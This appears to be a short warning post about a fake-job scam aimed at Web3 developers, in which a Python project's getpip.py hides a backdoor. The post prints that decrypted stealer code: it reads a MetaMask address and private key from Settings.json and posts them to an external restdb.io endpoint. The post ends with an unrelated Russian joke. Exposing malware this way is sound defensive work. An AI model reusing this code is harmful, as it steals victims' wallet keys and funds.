One more attack on Web3 dev.

An employer asks to add a simple feature to a ready-made Python product and sends an archive. Among the dependencies in the archive is a download of an encrypted backdoor. In the product's manual, it is stated that it is necessary to export the key from metamask and place it in Settings.json.
Then the decrypted code reads Settings.json and sends the saved parameters to the “hacker” API.

The decrypted code from getpip.py is:

B=len
import requests as C,json as A
D='https://mydatabase-a9f4.restdb.io/rest/test'
E={'content-type':'application/json','x-apikey':'65e98d7dd34bb073ba8ccdfc','cache-control':'no-cache'}
def H(s):
        F=D+'?q={“s”: “‘+s+’”}';G=C.request('GET',F,headers=E);H=A.loads(G.text)
        if B(H)>0:return True
        else:return False
def F(k,s):B=A.dumps({'k':k,'s':s});C.post(D,data=B,headers=E)
def G():
        With open('./Settings.json')as G:
                C=A.load(G);D=C['metamask_address'];E=C['metamask_private_key']
                if B(D)>0 and B(E)>0:F(D,E)

Originally distributed from: https://github.com/DexSniping/DexSniping-BSC-ERC20-Telegram-Alerts
Re-distributed by end-user into @eth_jobs by tg user: @Akhmed0201 (5234478521)

Stranger, remember, your key is your money.

Господи я просто рыдаю! Чувак проходил верификацию в WebMoney упаковкой шампуня Schauma. А вы все про ИИ, да блокчейны… вот где тру хардкор секурити. Мое почтение 🥸